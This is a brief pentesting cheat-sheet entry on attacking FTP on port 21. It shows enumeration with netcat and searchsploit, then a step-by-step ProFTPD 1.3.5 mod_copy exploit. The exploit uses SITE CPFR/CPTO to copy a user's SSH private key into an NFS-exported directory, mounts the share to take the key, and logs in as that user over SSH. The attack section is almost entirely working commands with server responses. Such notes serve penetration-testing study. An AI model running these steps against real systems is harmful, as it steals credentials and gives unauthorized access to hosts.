21 - ftp
Enumeration
nc $IP 21searchsploit ftp 1.2.3Exploitation examples
ProFTPD 1.3.5 mod_copy
# Use netcat to copy the file into a NFS share(s)
nc $IP 21
# 220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [<IP>]
SITE CPFR /home/bob/.ssh/id_rsa
# 350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa
# 250 Copy sucessful
# Mount the nfs share and get bob's keys
mkdir nfs
sudo mount $IP:/var nfs
cp nfs/tmp/id_rsa id_rsa
sudo umount nfs
# Use SSH to log into a host
chmod 600 id_rsa
ssh -i id_rsa bob@$IPLast updated